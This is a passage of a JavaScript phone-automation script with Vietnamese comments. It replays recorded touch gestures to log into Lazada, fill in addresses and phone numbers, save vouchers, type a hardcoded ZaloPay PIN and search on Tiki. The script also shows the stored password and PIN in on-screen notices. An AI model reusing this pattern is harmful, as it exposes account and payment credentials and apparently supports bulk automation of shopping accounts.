366.42, 1014.50);1927 usleep(16800.88);1928 touchMove(3, 369.50, 997.20);1929 usleep(16503.50);1930 touchMove(3, 371.56, 979.88);1931 usleep(16702.67);1932 touchMove(3, 374.63, 961.56);1933 usleep(16780.38);1934 touchMove(3, 378.73, 944.26);1935 usleep(16573.50);1936 touchMove(3, 381.82, 926.96);1937 usleep(16645.83);1938 touchMove(3, 384.90, 908.62);1939 usleep(16740.58);1940 touchMove(3, 387.98, 890.30);1941 usleep(16612.33);1942 touchMove(3, 392.07, 874.01);1943 usleep(16690.75);1944 touchMove(3, 396.18, 855.67);1945 usleep(16728.75);1946 touchMove(3, 398.24, 836.34);1947 usleep(16586.29);1948 touchMove(3, 403.37, 817.00);1949 usleep(16807.42);1950 touchMove(3, 408.50, 792.55);1951 usleep(16637.67);1952 touchMove(3, 413.64, 768.12);1953 usleep(16551.62);1954 touchMove(3, 419.79, 742.66);1955 usleep(16675.33);1956 touchMove(3, 426.98, 715.18);1957 usleep(16836.08);1958 touchMove(3, 433.14, 688.70);1959 usleep(16535.21);1960 touchMove(3, 438.26, 669.36);1961 usleep(16705.12);1962 touchMove(3, 443.40, 647.97);1963 usleep(16760.25);1964 touchMove(3, 447.51, 627.61);1965 usleep(16503.00);1966 touchMove(3, 451.61, 609.29);1967 usleep(16781.88);1968 touchMove(3, 455.72, 589.94);1969 usleep(16822.50);1970 touchMove(3, 459.82, 571.62);1971 usleep(16394.83);1972 touchMove(3, 464.95, 554.31);1973 usleep(16795.79);1974 touchMove(3, 468.03, 538.01);1975 usleep(16788.33);1976 touchMove(3, 472.14, 521.72);1977 usleep(16411.83);1978 touchMove(3, 476.25, 505.44);1979 usleep(16682.88);1980 touchMove(3, 482.40, 488.14);1981 usleep(16873.25);1982 touchMove(3, 487.53, 470.82);1983 usleep(16466.42);1984 touchMove(3, 493.70, 453.51);1985 usleep(16736.33);1986 touchMove(3, 498.83, 436.21);1987 usleep(16824.08);1988 touchMove(3, 501.90, 425.00);1989 usleep(16473.54);1990 touchMove(3, 504.98, 414.82);1991 usleep(16645.92);1992 touchMove(3, 507.04, 407.69);1993 usleep(16776.92);1994 touchMove(3, 508.06, 403.62);1995 usleep(16554.46);1996 touchMove(3, 509.09, 400.57);1997 usleep(16679.12);1998 touchMove(3, 510.12, 398.53);1999 usleep(16833.33);2000 touchMove(3, 510.12, 397.52);2001 usleep(150159.08);2002 touchUp(3, 515.25, 390.39);2003 usleep(1615411.21);2004 touchDown(2, 268.91, 1092.91);2005 usleep(466574.42);2006 touchUp(2, 268.91, 1092.91);2007 usleep(2968185.29);2008 touchDown(4, 37.97, 1173.34);2009 usleep(98635.04);2010 touchUp(4, 37.97, 1173.34);2011 at.usleep(2000000);2012 this.AtHelper.thongBao("Click btn GiaoDenDiaChi");2013 at.touchDown(0, find_btnGiao.data.x, find_btnGiao.data.y)2014 at.usleep(50000)2015 at.touchUp(0, find_btnGiao.data.x, find_btnGiao.data.y)2016 at.usleep(1000000);2017 }2018 }2019 inputInfoAndLoginLZD() {2020 const checkFullScreen = this.AtHelper.checkFullScreenLZD();2021 if (checkFullScreen.success == true) {2022 //input Username2023 this.AtHelper.thongBao("Click input username");2024 at.touchDown(0, 267, 622)2025 at.usleep(50000)2026 at.touchUp(0, 267, 622)2027 at.usleep(1000000);2028 //inputText2029 const usernameGmail = this.username;2030 this.AtHelper.inputTextCustom(this.username);2031 this.AtHelper.delayCus(2);2032 //input Password2033 this.AtHelper.thongBao("input password");2034 at.touchDown(0, 303, 757)2035 at.usleep(50000)2036 at.touchUp(0, 303, 757)2037 at.usleep(1000000);2038 this.AtHelper.inputTextCustom(this.password);2039 this.AtHelper.delayCus(2);2040 //icon keyboard Xong2041 this.AtHelper.thongBao("Click kb Xong");2042 at.tap(665, 856);2043 // option btnDangNhapFinal2044 const optionBtnDangNhapFinal = {2045 colors: [ // REQUIRED, colors and their relative positions2046 { color: 16673605, x: 0, y: 0 },2047 { color: 16738628, x: 6, y: 33 },2048 { color: 16734001, x: 66, y: 33 },2049 { color: 16735287, x: 49, y: 2 },2050 { color: 16777215, x: 38, y: 15 },2051 { color: 16777215, x: 38, y: 19 }2052 ],2053 count: 3, // OPTIONAL, default is 0, 0 means no limitation2054 region: { x: 270.42, y: 797.54, width: 226.06, height: 69.72 }, // OPTIONAL, default is null, null means the whole screen2055 debug: false,2056 }2057 const find_optionBtnDangNhapFinal = this.AtHelper.findToaDo(optionBtnDangNhapFinal, 3);2058 if (find_optionBtnDangNhapFinal.success == true) {2059 this.AtHelper.thongBao("Click btn DangNhap");2060 at.tap(find_optionBtnDangNhapFinal.data.x, find_optionBtnDangNhapFinal.data.y);2061 }2062 else {2063 at.tap(378, 831);2064 }2065 this.AtHelper.delayCus(2);2066 } else {2067 //input Username2068 this.AtHelper.thongBao("Click input username");2069 at.tap(225, 546);2070 this.AtHelper.delayCus(2);2071 at.tap(173, 540);2072 this.AtHelper.delayCus(1);2073 //inputText2074 const usernameGmail = this.username;2075 this.AtHelper.inputTextCustom(this.username);2076 this.AtHelper.delayCus(2);2077 //input Password2078 this.AtHelper.thongBao("input password");2079 at.tap(201, 681);2080 this.AtHelper.delayCus(1);2081 at.inputText(this.password);2082 this.AtHelper.delayCus(2);2083 //icon keyboard Xong2084 this.AtHelper.thongBao("Click kb Xong");2085 at.tap(665, 856);2086 // option btnDangNhapFinal2087 const optionBtnDangNhapFinal = {2088 colors: [ // REQUIRED, colors and their relative positions2089 { color: 16673605, x: 0, y: 0 },2090 { color: 16738628, x: 6, y: 33 },2091 { color: 16734001, x: 66, y: 33 },2092 { color: 16735287, x: 49, y: 2 },2093 { color: 16777215, x: 38, y: 15 },2094 { color: 16777215, x: 38, y: 19 }2095 ],2096 count: 3, // OPTIONAL, default is 0, 0 means no limitation2097 region: { x: 270.42, y: 797.54, width: 226.06, height: 69.72 }, // OPTIONAL, default is null, null means the whole screen2098 debug: false,2099 }2100 const find_optionBtnDangNhapFinal = this.AtHelper.findToaDo(optionBtnDangNhapFinal, 3);2101 if (find_optionBtnDangNhapFinal.success == true) {2102 this.AtHelper.thongBao("Click btn DangNhap");2103 at.tap(find_optionBtnDangNhapFinal.data.x, find_optionBtnDangNhapFinal.data.y);2104 }2105 else {2106 at.tap(378, 831);2107 }2108 this.AtHelper.delayCus(2);2109 }2110 }2111 openAppLZD() {2112 this.AtHelper.thongBao('run App LZD');2113 at.appRun("com.LazadaSEA.Lazada");2114 at.usleep(2000000);2115 const find_optionTiengViet = this.findMau(388, 1112, 15756574, 4);2116 if (find_optionTiengViet.success == true) {2117 at.touchDown(0, find_optionTiengViet.data.x, find_optionTiengViet.data.y);2118 at.usleep(50000);2119 at.touchUp(0, find_optionTiengViet.data.x, find_optionTiengViet.data.y);2120 at.usleep(1000000);2121 }2122 else {2123 at.touchDown(0, 382, 1117);2124 at.usleep(50000);2125 at.touchUp(0, 382, 1117);2126 at.usleep(1000000);2127 }2128 this.AtHelper.thongBao("Click bo qua");2129 at.tap(375, 1243);2130 at.usleep(3000000);2131 }2132 loginLZD() {2133 this.AtHelper.thongBao("Dang nhap LZD");2134 at.appRun("com.LazadaSEA.Lazada");2135 const find_colorDangNhapNgay = this.findMau(636, 1196, 16664928, 4);2136 if (find_colorDangNhapNgay.success == true) {2137 at.touchDown(0, find_colorDangNhapNgay.data.x, find_colorDangNhapNgay.data.y);2138 at.usleep(50000);2139 at.touchUp(0, find_colorDangNhapNgay.data.x, find_colorDangNhapNgay.data.y);2140 at.usleep(1000000);2141 } else {2142 at.touchDown(0, 636, 1196);2143 at.usleep(50000);2144 at.touchUp(0, 636, 1196);2145 at.usleep(1000000);2146 }2147 //click btn DangNhap2148 this.AtHelper.thongBao("Thuc hien click btn Dang Nhap");2149 const find_colorBtnDangNhap = this.findMau(375, 994, 16777215, 2);2150 if (find_colorBtnDangNhap.success == true) {2151 at.touchDown(0, find_colorBtnDangNhap.data.x, find_colorBtnDangNhap.data.y);2152 at.usleep(50000);2153 at.touchUp(0, find_colorBtnDangNhap.data.x, find_colorBtnDangNhap.data.y);2154 at.usleep(1000000);2155 }2156 else {2157 // at.touchDown(0, 375, 994);2158 // at.usleep(50000);2159 // at.touchUp(0, 375, 994);2160 // at.usleep(1000000);2161 // Truong hop 22162 const find_colorBtnDangNhapTH2 = this.findMau(382, 932, 15330807, 2);2163 if (find_colorBtnDangNhapTH2.success == true) {2164 at.touchDown(0, find_colorBtnDangNhapTH2.data.x, find_colorBtnDangNhapTH2.data.y);2165 at.usleep(50000);2166 at.touchUp(0, find_colorBtnDangNhapTH2.data.x, find_colorBtnDangNhapTH2.data.y);2167 at.usleep(1000000);2168 }2169 }2170 //click input username and password2171 this.AtHelper.thongBao("Thuc hien dien thong tin dang nhap");2172 const find_colorBtnDangNhap1 = this.findMau(376, 828, 16735543, 2);2173 if (find_colorBtnDangNhap1.success == true) {2174 at.touchDown(0, find_colorBtnDangNhap1.data.x, find_colorBtnDangNhap1.data.y - 283);2175 at.usleep(50000);2176 at.touchUp(0, find_colorBtnDangNhap1.data.x, find_colorBtnDangNhap1.data.y - 283);2177 at.usleep(1000000);2178 }2179 else {2180 // at.touchDown(0, 366, 548);2181 // at.usleep(50000);2182 // at.touchUp(0, 366, 548);2183 // at.usleep(1000000);2184 //Truong hop 22185 const find_colorBtnDangNhap1TH2 = this.findMau(262, 1269, 16544341, 2);2186 if (find_colorBtnDangNhap1TH2.success == true) {2187 at.touchDown(0, 228, 356);2188 at.usleep(50000);2189 at.touchUp(0, 228, 356);2190 at.usleep(1000000);2191 }2192 }2193 this.AtHelper.thongBao("Username: " + this.username);2194 this.AtHelper.inputTextCustom(this.username);2195 at.usleep(2000000);2196 //click password2197 if (find_colorBtnDangNhap1.success == true) {2198 at.touchDown(0, find_colorBtnDangNhap1.data.x, find_colorBtnDangNhap1.data.y - 140);2199 at.usleep(50000);2200 at.touchUp(0, find_colorBtnDangNhap1.data.x, find_colorBtnDangNhap1.data.y - 140);2201 at.usleep(1000000);2202 }2203 else {2204 at.touchDown(0, 249, 477);2205 at.usleep(50000);2206 at.touchUp(0, 249, 477);2207 at.usleep(1000000);2208 }2209 this.AtHelper.thongBao("Password: " + this.password);2210 this.AtHelper.inputTextCustom(this.password);2211 at.usleep(2000000);2212 //clickBtn2213 if (find_colorBtnDangNhap1.success == true) {2214 this.AtHelper.thongBao("Click kb Xong");2215 at.tap(665, 856);2216 at.usleep(1000000);2217 at.touchDown(0, find_colorBtnDangNhap1.data.x, find_colorBtnDangNhap1.data.y);2218 at.usleep(50000);2219 at.touchUp(0, find_colorBtnDangNhap1.data.x, find_colorBtnDangNhap1.data.y);2220 at.usleep(1000000);2221 }2222 else {2223 at.touchDown(0, 378, 835);2224 at.usleep(50000);2225 at.touchUp(0, 378, 835);2226 at.usleep(1000000);2227 }2228 }2229 diaChiTH1() {2230 //click setting and them dia chi2231 touchDown(3, 717.45, 77.82);2232 usleep(116495.00);2233 touchUp(3, 717.45, 77.82);2234 usleep(2518258.08);2235 touchDown(4, 188.85, 279.42);2236 usleep(132006.62);2237 touchUp(4, 188.85, 279.42);2238 usleep(2900314.71);2239 touchDown(5, 401.32, 239.70);2240 usleep(49963.17);2241 touchUp(5, 401.32, 239.70);2242 this.AtHelper.thongBao("Input fullname: " + this.fullName);2243 at.touchDown(0, 159, 285)2244 at.usleep(50000)2245 at.touchUp(0, 159, 285)2246 at.usleep(1000000);2247 this.AtHelper.inputTextCustom(this.fullName + " MM");2248 at.usleep(2000000);2249 //input dia chi2250 this.AtHelper.thongBao("Input dia chi: " + this.address);2251 at.touchDown(0, 171, 447)2252 at.usleep(50000)2253 at.touchUp(0, 171, 447)2254 at.usleep(1000000);2255 this.AtHelper.inputTextCustom(this.address);2256 at.usleep(2000000);2257 //dien hcm - q10 - p132258 this.AtHelper.thongBao("Nhap Quan Phuong");2259 touchDown(1, 343.84, 600.13);2260 usleep(50046.96);2261 touchUp(1, 343.84, 600.13);2262 usleep(2100113.21);2263 touchDown(4, 213.49, 258.02);2264 usleep(33200.04);2265 touchUp(4, 213.49, 258.02);2266 usleep(1967062.79);2267 touchDown(5, 447.51, 1068.47);2268 usleep(134568.38);2269 touchMove(5, 450.59, 1059.31);2270 usleep(16722.92);2271 touchMove(5, 450.59, 1051.16);2272 usleep(16400.83);2273 touchMove(5, 450.59, 1038.95);2274 usleep(16641.04);2275 touchMove(5, 451.61, 1026.72);2276 usleep(16694.58);2277 touchMove(5, 452.64, 1014.50);2278 usleep(16700.00);2279 touchMove(5, 454.69, 1002.29);2280 usleep(16598.46);2281 touchMove(5, 455.72, 991.10);2282 usleep(17001.92);2283 touchMove(5, 456.75, 981.94);2284 usleep(16323.92);2285 touchMove(5, 457.76, 973.77);2286 usleep(16716.83);2287 touchMove(5, 458.79, 967.67);2288 usleep(16876.79);2289 touchMove(5, 458.79, 962.58);2290 usleep(16397.75);2291 touchMove(5, 458.79, 958.51);2292 usleep(16694.46);2293 touchMove(5, 459.82, 952.40);2294 usleep(16749.54);2295 touchMove(5, 460.85, 945.28);2296 usleep(16606.42);2297 touchMove(5, 461.87, 938.15);2298 usleep(16634.88);2299 touchMove(5, 462.90, 930.01);2300 usleep(16685.96);2301 touchMove(5, 463.93, 920.83);2302 usleep(16711.17);2303 touchMove(5, 465.98, 910.65);2304 usleep(16556.25);2305 touchMove(5, 467.01, 899.46);2306 usleep(16953.83);2307 touchMove(5, 470.09, 888.26);2308 usleep(16400.33);2309 touchMove(5, 472.14, 876.05);2310 usleep(16714.58);2311 touchMove(5, 474.19, 865.85);2312 usleep(16806.71);2313 touchMove(5, 475.22, 855.67);2314 usleep(16578.79);2315 touchMove(5, 476.25, 847.53);2316 usleep(16619.54);2317 touchMove(5, 477.28, 840.41);2318 usleep(16775.04);2319 touchMove(5, 478.29, 835.32);2320 usleep(16553.42);2321 touchMove(5, 479.32, 829.21);2322 usleep(16674.75);2323 touchMove(5, 479.32, 822.09);2324 usleep(16847.42);2325 touchMove(5, 480.35, 812.91);2326 usleep(16483.42);2327 touchMove(5, 481.37, 800.69);2328 usleep(16700.79);2329 touchMove(5, 482.40, 790.52);2330 usleep(16877.50);2331 touchMove(5, 484.45, 779.32);2332 usleep(16406.04);2333 touchMove(5, 485.48, 770.16);2334 usleep(16678.71);2335 touchMove(5, 486.51, 761.00);2336 usleep(17053.96);2337 touchMove(5, 487.53, 754.87);2338 usleep(16295.67);2339 touchMove(5, 487.53, 749.78);2340 usleep(16654.38);2341 touchMove(5, 488.56, 742.66);2342 usleep(16816.58);2343 touchMove(5, 489.59, 738.59);2344 usleep(16537.83);2345 touchMove(5, 489.59, 734.52);2346 usleep(16664.33);2347 touchMove(5, 490.61, 729.43);2348 usleep(16809.67);2349 touchMove(5, 491.64, 726.38);2350 usleep(16545.00);2351 touchMove(5, 491.64, 722.31);2352 usleep(16702.12);2353 touchMove(5, 492.67, 718.23);2354 usleep(16920.96);2355 touchMove(5, 493.70, 711.11);2356 usleep(16361.83);2357 touchMove(5, 494.72, 703.97);2358 usleep(16691.46);2359 touchMove(5, 494.72, 696.84);2360 usleep(17094.08);2361 touchMove(5, 495.75, 690.73);2362 usleep(16195.04);2363 touchMove(5, 496.78, 682.59);2364 usleep(16663.58);2365 touchMove(5, 497.80, 675.47);2366 usleep(17001.79);2367 touchMove(5, 497.80, 670.38);2368 usleep(16360.38);2369 touchMove(5, 497.80, 664.27);2370 usleep(16655.04);2371 touchMove(5, 497.80, 659.18);2372 usleep(16742.38);2373 touchMove(5, 497.80, 652.06);2374 usleep(16624.71);2375 touchMove(5, 498.83, 645.93);2376 usleep(16625.17);2377 touchMove(5, 498.83, 639.83);2378 usleep(16772.46);2379 touchMove(5, 498.83, 632.70);2380 usleep(16580.21);2381 touchMove(5, 499.86, 625.58);2382 usleep(16665.92);2383 touchMove(5, 500.87, 618.45);2384 usleep(16750.79);2385 touchMove(5, 501.90, 612.35);2386 usleep(16600.42);2387 touchMove(5, 501.90, 605.22);2388 usleep(16644.88);2389 touchMove(5, 502.93, 600.13);2390 usleep(16709.25);2391 touchMove(5, 502.93, 595.04);2392 usleep(16614.04);2393 touchMove(5, 502.93, 589.94);2394 usleep(16689.46);2395 touchMove(5, 502.93, 583.83);2396 usleep(16909.58);2397 touchMove(5, 502.93, 578.74);2398 usleep(16444.62);2399 touchMove(5, 502.93, 572.63);2400 usleep(16631.88);2401 touchMove(5, 502.93, 568.56);2402 usleep(16961.54);2403 touchMove(5, 502.93, 565.51);2404 usleep(16419.88);2405 touchMove(5, 502.93, 562.46);2406 usleep(16649.67);2407 touchMove(5, 502.93, 560.42);2408 usleep(16871.58);2409 touchMove(5, 502.93, 557.37);2410 usleep(16440.17);2411 touchMove(5, 502.93, 554.31);2412 usleep(16707.17);2413 touchMove(5, 502.93, 552.28);2414 usleep(16925.12);2415 touchMove(5, 502.93, 549.22);2416 usleep(16370.92);2417 touchMove(5, 502.93, 547.19);2418 usleep(16726.08);2419 touchMove(5, 502.93, 546.17);2420 usleep(16685.58);2421 touchMove(5, 502.93, 544.14);2422 usleep(16601.08);2423 touchMove(5, 502.93, 543.12);2424 usleep(33565.21);2425 touchMove(5, 502.93, 541.08);2426 usleep(33253.21);2427 touchMove(5, 503.95, 541.08);2428 usleep(16781.50);2429 touchMove(5, 503.95, 540.06);2430 usleep(133193.88);2431 touchMove(5, 504.98, 540.06);2432 usleep(149745.88);2433 touchMove(5, 509.09, 540.06);2434 usleep(15503.79);2435 touchUp(5, 513.20, 541.08);2436 usleep(1267277.67);2437 touchDown(2, 244.27, 1167.23);2438 usleep(150927.17);2439 touchUp(2, 244.27, 1167.23);2440 usleep(1099070.33);2441 touchDown(6, 415.68, 1048.11);2442 usleep(84448.17);2443 touchMove(6, 411.58, 1033.84);2444 usleep(16493.79);2445 touchMove(6, 411.58, 1025.70);2446 usleep(16671.17);2447 touchMove(6, 411.58, 1016.54);2448 usleep(16591.54);2449 touchMove(6, 412.61, 1005.34);2450 usleep(16716.88);2451 touchMove(6, 413.64, 996.18);2452 usleep(16641.79);2453 touchMove(6, 414.67, 987.02);2454 usleep(16613.42);2455 touchMove(6, 414.67, 979.88);2456 usleep(16781.00);2457 touchMove(6, 415.68, 972.76);2458 usleep(16600.12);2459 touchMove(6, 415.68, 966.65);2460 usleep(16854.58);2461 touchMove(6, 415.68, 960.54);2462 usleep(16515.96);2463 touchMove(6, 415.68, 953.42);2464 usleep(16619.08);2465 touchMove(6, 416.71, 947.31);2466 usleep(17082.17);2467 touchMove(6, 416.71, 942.22);2468 usleep(16343.08);2469 touchMove(6, 417.74, 937.13);2470 usleep(16548.08);2471 touchMove(6, 418.76, 933.06);2472 usleep(16877.50);2473 touchMove(6, 418.76, 928.99);2474 usleep(16522.00);2475 touchMove(6, 419.79, 924.90);2476 usleep(16624.67);2477 touchMove(6, 419.79, 921.85);2478 usleep(16872.38);2479 touchMove(6, 419.79, 917.78);2480 usleep(16531.38);2481 touchMove(6, 420.82, 912.69);2482 usleep(16574.33);2483 touchMove(6, 420.82, 908.62);2484 usleep(16866.50);2485 touchMove(6, 420.82, 905.56);2486 usleep(16590.92);2487 touchMove(6, 420.82, 900.47);2488 usleep(16581.62);2489 touchMove(6, 421.84, 896.40);2490 usleep(16861.33);2491 touchMove(6, 421.84, 889.28);2492 usleep(16710.88);2493 touchMove(6, 421.84, 884.19);2494 usleep(16412.58);2495 touchMove(6, 421.84, 879.10);2496 usleep(16884.58);2497 touchMove(6, 421.84, 874.01);2498 usleep(16514.88);2499 touchMove(6, 421.84, 868.90);2500 usleep(16644.33);2501 touchMove(6, 422.87, 863.81);2502 usleep(16901.71);2503 touchMove(6, 423.90, 857.71);2504 usleep(16470.83);2505 touchMove(6, 424.92, 850.58);2506 usleep(16605.08);2507 touchMove(6, 425.95, 841.42);2508 usleep(16860.88);2509 touchMove(6, 426.98, 833.28);2510 usleep(16537.04);2511 touchMove(6, 428.01, 825.14);2512 usleep(16589.33);2513 touchMove(6, 429.03, 818.02);2514 usleep(16654.00);2515 touchMove(6, 430.06, 810.87);2516 usleep(16734.83);2517 touchMove(6, 430.06, 805.78);2518 usleep(16600.21);2519 touchMove(6, 430.06, 799.68);2520 usleep(16791.17);2521 touchMove(6, 431.09, 794.59);2522 usleep(16632.96);2523 touchMove(6, 431.09, 790.52);2524 usleep(16596.42);2525 touchMove(6, 432.11, 786.44);2526 usleep(16683.42);2527 touchMove(6, 433.14, 782.37);2528 usleep(16731.67);2529 touchMove(6, 433.14, 780.34);2530 usleep(16602.83);2531 touchMove(6, 433.14, 777.28);2532 usleep(16823.75);2533 touchMove(6, 434.17, 774.23);2534 usleep(16621.38);2535 touchMove(6, 434.17, 771.18);2536 usleep(16543.88);2537 touchMove(6, 434.17, 768.12);2538 usleep(16676.83);2539 touchMove(6, 435.18, 765.07);2540 usleep(16660.25);2541 touchMove(6, 435.18, 761.00);2542 usleep(16676.17);2543 touchMove(6, 435.18, 755.89);2544 usleep(16763.29);2545 touchMove(6, 435.18, 751.82);2546 usleep(16858.12);2547 touchMove(6, 435.18, 748.77);2548 usleep(16408.08);2549 touchMove(6, 435.18, 744.70);2550 usleep(16623.46);2551 touchMove(6, 435.18, 740.62);2552 usleep(16764.92);2553 touchMove(6, 435.18, 737.57);2554 usleep(16639.96);2555 touchMove(6, 435.18, 733.50);2556 usleep(16639.58);2557 touchMove(6, 435.18, 730.45);2558 usleep(16730.46);2559 touchMove(6, 435.18, 727.39);2560 usleep(16602.88);2561 touchMove(6, 435.18, 724.34);2562 usleep(16594.25);2563 touchMove(6, 436.21, 723.32);2564 usleep(16811.46);2565 touchMove(6, 436.21, 721.29);2566 usleep(16600.75);2567 touchMove(6, 437.24, 720.27);2568 usleep(33352.58);2569 touchMove(6, 437.24, 719.25);2570 usleep(483499.25);2571 touchMove(6, 442.37, 714.16);2572 usleep(15368.83);2573 touchUp(6, 446.48, 710.09);2574 usleep(1733475.71);2575 touchDown(3, 353.07, 1152.98);2576 usleep(83477.38);2577 touchUp(3, 353.07, 1152.98);2578 at.usleep(2000000);2579 //vuot xuong2580 touchDown(5, 513.20, 636.77);2581 usleep(66741.33);2582 touchMove(5, 510.12, 626.59);2583 usleep(16722.88);2584 touchMove(5, 510.12, 615.40);2585 usleep(16658.33);2586 touchMove(5, 510.12, 592.99);2587 usleep(16772.46);2588 touchMove(5, 513.20, 566.53);2589 usleep(16713.58);2590 touchMove(5, 516.28, 539.03);2591 usleep(16356.67);2592 touchMove(5, 518.33, 511.55);2593 usleep(16826.79);2594 touchMove(5, 520.37, 485.09);2595 usleep(16737.00);2596 touchMove(5, 525.51, 453.51);2597 usleep(16630.96);2598 touchMove(5, 531.67, 431.12);2599 usleep(16602.79);2600 touchMove(5, 534.75, 413.80);2601 usleep(15609.54);2602 touchUp(5, 538.86, 409.73);2603 usleep(901156.33);2604 touchDown(6, 530.64, 625.58);2605 usleep(50106.96);2606 touchMove(6, 532.70, 611.33);2607 usleep(16787.46);2608 touchMove(6, 533.72, 587.90);2609 usleep(16415.33);2610 touchMove(6, 542.96, 545.15);2611 usleep(16636.25);2612 touchMove(6, 554.25, 492.21);2613 usleep(16844.33);2614 touchMove(6, 569.64, 433.16);2615 usleep(16560.62);2616 touchMove(6, 593.25, 364.93);2617 usleep(16651.83);2618 touchMove(6, 614.81, 320.15);2619 usleep(15492.71);2620 touchUp(6, 618.92, 316.06);2621 at.usleep(1000000);2622 //input sdt2623 this.AtHelper.thongBao("Input sdt: " + this.phoneNumber);2624 at.touchDown(0, 224, 221)2625 at.usleep(50000)2626 at.touchUp(0, 224, 221)2627 at.usleep(1000000);2628 this.AtHelper.inputTextCustom(this.phoneNumber);2629 at.usleep(2000000);2630 //click 2 button2631 this.AtHelper.thongBao("Click dia chi mac dinh");2632 const find_colorAddressDefault = this.findMau(695, 612, 15329771, 3);2633 if (find_colorAddressDefault.success == true) {2634 at.touchDown(0, find_colorAddressDefault.data.x, find_colorAddressDefault.data.y);2635 at.usleep(50000);2636 at.touchUp(0, find_colorAddressDefault.data.x, find_colorAddressDefault.data.y);2637 at.usleep(1000000);2638 }2639 else {2640 at.touchDown(0, 695, 612);2641 at.usleep(50000);2642 at.touchUp(0, 695, 612);2643 at.usleep(1000000);2644 }2645 this.AtHelper.thongBao("Click thanh toan mac dinh");2646 const find_colorPaymentDefault = this.findMau(694, 713, 15329771, 3);2647 if (find_colorPaymentDefault.success == true) {2648 at.touchDown(0, find_colorPaymentDefault.data.x, find_colorPaymentDefault.data.y);2649 at.usleep(50000);2650 at.touchUp(0, find_colorPaymentDefault.data.x, find_colorPaymentDefault.data.y);2651 at.usleep(1000000);2652 }2653 else {2654 at.touchDown(0, 695, 713);2655 at.usleep(50000);2656 at.touchUp(0, 695, 713);2657 at.usleep(1000000);2658 }2659 //click btn Luu2660 this.AtHelper.thongBao("Click btn Luu");2661 const find_colorBtnLuu = this.findMau(351, 838, 16777215, 3);2662 if (find_colorBtnLuu.success == true) {2663 at.touchDown(0, find_colorBtnLuu.data.x, find_colorBtnLuu.data.y);2664 at.usleep(50000);2665 at.touchUp(0, find_colorBtnLuu.data.x, find_colorBtnLuu.data.y);2666 at.usleep(2000000);2667 }2668 else {2669 at.touchDown(0, 351, 838);2670 at.usleep(50000);2671 at.touchUp(0, 351, 838);2672 at.usleep(2000000);2673 }2674 //click btn Luu2675 at.touchDown(0, 367, 1271);2676 at.usleep(50000);2677 at.touchUp(0, 367, 1271);2678 }2679 suuTamVoucher() {2680 touchDown(5, 737.97, 447.41);2681 usleep(150040.04);2682 touchUp(5, 737.97, 447.41);2683 usleep(2951694.25);2684 touchDown(3, 227.85, 586.88);2685 usleep(299708.88);2686 touchUp(3, 227.85, 586.88);2687 usleep(3233931.04);2688 touchDown(1, 585.04, 578.74);2689 usleep(114944.46);2690 touchUp(1, 585.04, 578.74);2691 usleep(3133964.33);2692 touchDown(2, 224.77, 854.65);2693 usleep(116287.54);2694 touchUp(2, 224.77, 854.65);2695 }2696 dienMatKhauChuyenTienZLP() {2697 touchDown(2, 377.71, 1243.58);2698 usleep(80699.46);2699 touchUp(2, 377.71, 1243.58);2700 usleep(1683403.67);2701 touchDown(1, 157.04, 969.70);2702 usleep(117808.04);2703 touchUp(1, 157.04, 969.70);2704 usleep(150078.79);2705 touchDown(1, 152.93, 964.61);2706 usleep(82171.92);2707 touchUp(1, 152.93, 964.61);2708 usleep(818202.75);2709 touchDown(5, 374.63, 958.51);2710 usleep(132925.17);2711 touchUp(5, 374.63, 958.51);2712 usleep(166649.83);2713 usleep(1000000);2714 touchDown(5, 377.71, 952.40);2715 usleep(100418.25);2716 touchUp(5, 377.71, 952.40);2717 usleep(666939.17);2718 touchDown(4, 635.34, 942.22);2719 usleep(116286.17);2720 touchUp(4, 635.34, 942.22);2721 usleep(99928.54);2722 touchDown(4, 639.44, 940.19);2723 usleep(98893.38);2724 touchUp(4, 639.44, 940.19);2725 }2726 dienMatKhauZLP() {2727 this.AtHelper.thongBao("Dien mat khau zlp 112233");2728 const find_IconX = this.findMau(631, 1279, 0, 2);2729 if (find_IconX.success == true) {2730 this.AtHelper.thongBao("Dien mat khau zlp 112233");2731 //112732 at.touchDown(0, 131, 955);2733 at.usleep(50000);2734 at.touchUp(0, 131, 955);2735 at.usleep(1000000);2736 at.touchDown(0, 131, 955);2737 at.usleep(50000);2738 at.touchUp(0, 131, 955);2739 at.usleep(1000000);2740 //222741 at.touchDown(0, 373, 955);2742 at.usleep(50000);2743 at.touchUp(0, 373, 955);2744 at.usleep(1000000);2745 at.touchDown(0, 373, 955);2746 at.usleep(50000);2747 at.touchUp(0, 373, 955);2748 at.usleep(1000000);2749 //332750 at.touchDown(0, 625, 953);2751 at.usleep(50000);2752 at.touchUp(0, 625, 953);2753 at.usleep(1000000);2754 at.touchDown(0, 625, 953);2755 at.usleep(50000);2756 at.touchUp(0, 625, 953);2757 at.usleep(1000000);2758 }2759 }2760 tikiSearch(keyword) {2761 this.AtHelper.thongBao("Thuc hien input tu khooa " + keyword);2762 at.appRun("vn.tiki.app.Tiki");2763 at.usleep(2000000);2764 const find_ColorBack = this.findMau(45, 83, 16777215, 2);2765 if (find_ColorBack.success == true) {2766 at.touchDown(0, find_ColorBack.data.x, find_ColorBack.data.y);2767 at.usleep(50000);2768 at.touchUp(0, find_ColorBack.data.x, find_ColorBack.data.y);2769 at.usleep(1000000);2770 const find_KinhLup = this.findMau(79, 165, 10066329, 2);2771 if (find_KinhLup.success == true) {2772 this.AtHelper.thongBao("Click tim kiem");2773 at.touchDown(0, find_KinhLup.data.x, find_KinhLup.data.y);2774 at.usleep(50000);2775 at.touchUp(0, find_KinhLup.data.x, find_KinhLup.data.y);2776 at.usleep(1000000);2777 this.AtHelper.inputTextCustom(keyword);2778 at.usleep(2000000);2779 at.tap(351, 1284);2780 const find_BtnTim = this.findMau(631, 1285, 31487, 2);2781 if (find_BtnTim.success == true) {2782 this.AtHelper.thongBao("Click btn Tim");2783 at.touchDown(0, find_BtnTim.data.x, find_BtnTim.data.y);2784 at.usleep(50000);2785 at.touchUp(0, find_BtnTim.data.x, find_BtnTim.data.y);2786 at.usleep(1000000);2787 }2788 }2789 }2790 else {2791 const find_KinhLup = this.findMau(79, 165, 10066329, 2);2792 if (find_KinhLup.success == true) {2793 this.AtHelper.thongBao("Click tim kiem");2794 at.touchDown(0, find_KinhLup.data.x, find_KinhLup.data.y);2795 at.usleep(50000);2796 at.touchUp(0, find_KinhLup.data.x, find_KinhLup.data.y);2797 at.usleep(1000000);2798 this.AtHelper.inputTextCustom(keyword);2799 at.usleep(2000000);2800 at.tap(351, 1284);2801 const find_BtnTim = this.findMau(631, 1285, 31487, 2);2802 if (find_BtnTim.success == true) {2803 this.AtHelper.thongBao("Click btn 